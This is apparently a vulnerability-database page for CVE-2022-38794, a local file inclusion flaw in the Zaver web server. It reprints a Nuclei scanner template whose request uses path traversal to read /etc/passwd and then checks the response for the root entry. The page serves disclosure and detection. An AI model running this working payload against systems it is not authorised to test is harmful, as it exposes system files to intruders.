CVE-2022-38794: Zaver - Local File Inclusion

日期: 2025-08-01 | 影响软件: Zaver | POC: 已公开

漏洞描述

Zaver through 2020-12-15 is vulnerable to local file inclusion via the GET /.. substring.

PoC代码[已公开]

id: CVE-2022-38794

info:
  name: Zaver - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    Zaver through 2020-12-15  is vulnerable to local file inclusion via the GET /.. substring.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    To remediate this vulnerability, ensure that user input is properly validated and sanitized before being used in file inclusion operations.
  reference:
    - https://github.com/zyearn/zaver/issues/22
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38794
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-38794
    cwe-id: CWE-22
    epss-score: 0.22169
    epss-percentile: 0.95598
    cpe: cpe:2.3:a:zaver_project:zaver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zaver_project
    product: zaver
  tags: cve,cve2022,lfi,zaver,zaver_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402200f0ca40daaf9e9462fb0d4ef865f59fc659da8238e0eb157a1160f52b5b01dfc0220688b78c6047d75d66ffc46e9a5021be519fa560ad8bcd55090314eeb58ea9536:922c64590222798bb761d5b6d8e72950